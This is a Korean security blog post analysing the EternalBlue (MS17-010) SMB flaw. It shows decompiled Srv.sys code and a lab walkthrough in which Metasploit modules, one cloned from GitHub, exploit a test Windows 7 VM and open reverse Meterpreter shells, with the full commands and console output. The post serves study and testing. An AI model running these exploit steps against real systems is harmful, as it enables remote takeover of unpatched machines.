What is Eternalblue Vulnerability?

Eternalblue 취약점은 MS17-010, 패치된 SMB(Server Message Block) Protocol을 이용한 취약점입니다.

아직 내용에 대해 자세히 분석해본건 아니지만.. 간략하게 요약하면 아래와 같습니다. Windows 내 Srv.sys 의 잘못된 복사로 인해 SrvOs2FeaListSizeToNt 처리에서 문제가 발생하고 SrvOs2FeaToNt 함수에서 트리거됩니다. SrvOs2FeaToNt까지 호출 순서를 보면..

SrvOs2FeaToNt -> SrvOs2FeaListToNt -> SrvOs2FeaListSizeToNt -> SrvOs2FeaToNt

순서로 호출됩니다. 문제가 발생한 SrvOs2FeaListSizeToNt(아래코드)를 보면 크기 변환이 끝난 후 SizeToNt함수의 결과가 pOs2Fea의 legnth가 되는데 나중에 비교 구문에서 더 큰 값이 들어갈때 문제가 발생합니다.

unsigned int __fastcall SrvOs2FeaListToNt(int pOs2Fea, int *pArgNtFea, int *a3, _WORD *a4)
{
  __int16 v5; // bx@1
  unsigned int Size; // eax@1
  NTFEA *pNtFea; // ecx@3
  int pOs2FeaBody; // esi@9
  int v10; // edx@9
  unsigned int v11; // esi@14
  int v12; // [sp+Ch] [bp-Ch]@11
  unsigned int v14; // [sp+20h] [bp+8h]@9

  v5 = 0;
  Size = SrvOs2FeaListSizeToNt(pOs2Fea); // 요기부분이죠. SizeToNt함수를 통해 return 된 값이 Size 로 쓰이죠.
  /*
 
  unsigned int __fastcall SrvOs2FeaListSizeToNt(int pOs2Fea) 내부
  v1 = 0;
  Length = *(_DWORD *)pOs2Fea; //DWROD로 캐스팅 한 값이 들어가지만, 원래 pOs2Fea의 Size는 DWORD값이라 크게 상관 없네요.
  pBody = pOs2Fea + 4;
 
  */
 
  *a3 = Size;
  [....]

동일한 함수 아랫부분엔 SrvOs2FeaToNt()함수가 호출되는 부분이 나타납니다.

    [....]
    if ( pOs2FeaBody == pOs2Fea + *(_DWORD *)pOs2Fea )
      {
        *(_DWORD *)v10 = 0;
        return 0;
      }
      v11 = 0xC0000001;
      *a4 = v5 - pOs2Fea;
    }
    else
    {
      while ( !(*(_BYTE *)pOs2FeaBody & 0x7F) )
      {
        v12 = (int)pNtFea;
        v5 = pOs2FeaBody;
        pNtFea = (NTFEA *)SrvOs2FeaToNt(pNtFea, pOs2FeaBody); // pNtFea 와 pOs2FeaBody 값을 인수로 넘깁니다.
        pOs2FeaBody += *(_BYTE *)(pOs2FeaBody + 1) + *(_WORD *)(pOs2FeaBody + 2) + 5;

아래는 Srv.sys 내 SrvOs2FeaToNt 함수이고 여기서 2번째 _memmove() 함수에서 취약점이 트리거된다고 합니다.

unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2)
{
  int v4; // edi@1
  _BYTE *v5; // edi@1
  unsigned int result; // eax@1

  v4 = a1 + 8;
  *(_BYTE *)(a1 + 4) = *(_BYTE *)a2;
  *(_BYTE *)(a1 + 5) = *(_BYTE *)(a2 + 1);
  *(_WORD *)(a1 + 6) = *(_WORD *)(a2 + 2);
  _memmove((void *)(a1 + 8), (const void *)(a2 + 4), *(_BYTE *)(a2 + 1));
  v5 = (_BYTE *)(*(_BYTE *)(a1 + 5) + v4);
  *v5++ = 0;
  _memmove(v5, (const void *)(a2 + 5 + *(_BYTE *)(a1 + 5)), *(_WORD *)(a1 + 6)); // 이부분
  result = (unsigned int)&v5[*(_WORD *)(a1 + 6) + 3] & 0xFFFFFFFC;
  *(_DWORD *)a1 = result - a1;
  return result;
}

아무래도 시간을 두고 좀 연구가 필요할 것 같네요. (저도 이해의 어려움이 많습니다..@_@)

How to Check? (Metasploit)

Eternal 시리즈의 취약점은 이미 Metasploit 에 체크 코드가 올라와있습니다. ms17 로 검색하시면 나오는 것 중 ms17-010 내용으로 진행하시면 됩니다.

HAHWUL exploit(/) > search ms17

Matching Modules

Name Disclosure Date Rank Description —- ————— —- ———– auxiliary/admin/mssql/mssql_enum_domain_accounts normal Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli normal Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enumeration auxiliary/admin/mssql/mssql_enum_sql_logins normal Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration auxiliary/admin/mssql/mssql_escalate_execute_as normal Microsoft SQL Server Escalate EXECUTE AS auxiliary/admin/mssql/mssql_escalate_execute_as_sqli normal Microsoft SQL Server SQLi Escalate Execute AS auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detection

옵션은 별다른게 없어요. 단순히 SMB를 사용하는지, 취약한지 테스트하는 정도라.. 대상 호스트 정도 지정해줍니다.

HAHWUL > use auxiliary/scanner/smb/smb_ms17_010 HAHWUL auxiliary(smb_ms17_010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):

Name Current Setting Required Description —- ————— ——– ———– RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 1 yes The number of concurrent threads

제 가상환경은.. 취약하네요. (패치를 안했으니)

HAHWUL auxiliary(smb_ms17_010) > set RHOSTS 192.168.56.101 RHOSTS => 192.168.56.101 HAHWUL auxiliary(smb_ms17_010) > run

[+] 192.168.56.101:445 - Host is likely VULNERABLE to MS17-010! (Windows 7 Enterprise 7601 Service Pack 1) [] Scanned 1 of 1 hosts (100% complete) [] Auxiliary module execution completed

일단 서비스에서 간단하게 확인하였고 Exploit 을 이용해서 Meterpreter shell까지 내려보죠.

Exploit Eternalblue! (Metasploit code official/informal)

Eternalblue 코드는.. 아직 MSF에 직접적으로 공개된건 아니지만 여러 해커들이 MSF Ruby code 로 github, pastbin 등으로 공유하고 있습니다. 그 중 하나를 사용해보죠.

#> git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git #> mv eternalblue.rb ./module/exploits/windows/smb

HAHWUL > use windows/smb/eternalblue_doublepulsar HAHWUL exploit(eternalblue_doublepulsar)> set eternalbluepath /root/eternalblue_doublepulsar-metasploit/deps HAHWUL exploit(eternalblue_doublepulsar)> set doublepulsarpath /root/eternalblue_doublepulsar-metasploit/deps HAHWUL exploit(eternalblue_doublepulsar)>set targetarchitecture x64 HAHWUL exploit(eternalblue_doublepulsar)>set processinject lsass.exe HAHWUL exploit(eternalblue_doublepulsar)>set lhost 192.168.56.106 HAHWUL exploit(eternalblue_doublepulsar)>set rhost 192.168.56.101 HAHWUL exploit(eternalblue_doublepulsar)>exploit -j

[] Started reverse TCP handler on 192.168.56.106 [] 192.168.56.101:445 - Generating Eternalblue XML data [] 192.168.56.101:445 - Generating Doublepulsar XML data [] 192.168.56.101:445 - Generating payload DLL for Doublepulsar [….] [] Sending stage (1192014 bytes) to 192.168.56.101 [] Meterpreter session 1 opened (192.168.56.106:4646 -> 192.168.56.101:56314) at 2017-04-29 22:20:12

meterpreter >

잘 되네요.

그 와중에.. Metasploit 측에서 코드가 올라와버렸네요.. (포스팅 기간이 넘 길어졌당)

HAHWUL auxiliary(blind_sql_query) > use exploit/windows/smb/ms17_010_eternalblue HAHWUL exploit(ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name Current Setting Required Description —- ————— ——– ———– GroomAllocations 12 yes Initial number of times to groom the kernel pool. GroomDelta 5 yes The amount to increase the groom count by per try. MaxExploitAttempts 3 yes The number of times to retry the exploit. ProcessName spoolsv.exe yes Process to inject payload into. RHOST yes The target address RPORT 445 yes The target port (TCP)

Exploit target:

Id Name – —- 0 Windows 7 and Server 2008 (x64) All Service Packs

HAHWUL exploit(ms17_010_eternalblue) > set RHOST 192.168.56.101 RHOST => 192.168.56.101 HAHWUL exploit(ms17_010_eternalblue) > show evasion

Module evasion options:

Name Current Setting Required Description —- ————— ——– ———– TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable) TCP::send_delay 0 no Delays inserted before every send. (0 = disable)

HAHWUL exploit(ms17_010_eternalblue) > exploit -j [*] Exploit running as background job.

[] Started reverse TCP handler on 192.168.56.1:4444 HAHWUL exploit(ms17_010_eternalblue) > [] 192.168.56.101:445 - Connecting to target for exploitation. [+] 192.168.56.101:445 - Connection established for exploitation. [] 192.168.56.101:445 - Trying exploit with 12 Groom Allocations. [] 192.168.56.101:445 - Sending all but last fragment of exploit packet [] 192.168.56.101:445 - Starting non-paged pool grooming [+] 192.168.56.101:445 - Sending SMBv2 buffers [+] 192.168.56.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [] 192.168.56.101:445 - Sending final SMBv2 buffers. [] 192.168.56.101:445 - Sending last fragment of exploit packet! [] 192.168.56.101:445 - Receiving response from exploit packet [+] 192.168.56.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [] 192.168.56.101:445 - Sending egg to corrupted connection. [] 192.168.56.101:445 - Triggering free of corrupted buffer. […..]

meterpreter >

사실은 Eternalblue의 테스팅 코드 말고 실제 공격에 사용 가능한 코드를 입수하여 작성한 포스팅인데.. 시간도 늦어버리고 의도와 달리 취약점에 대해 살펴보다가 작성되어 내용이 우주로 갔습니다. (양해 부탁드려요)

혹시라도 관련해서 좋은 분석 자료가 있으시거나 잘못된 내용이 있다면 댓글로 부탁드려요 :)

Reference

http://www.hackingarticles.in/exploit-remote-windows-pc-eternalblue-doublepulsar-exploit-metasploit/ https://github.com/nixawk/labs/blob/master/MS17_010/smb_exploit.py http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/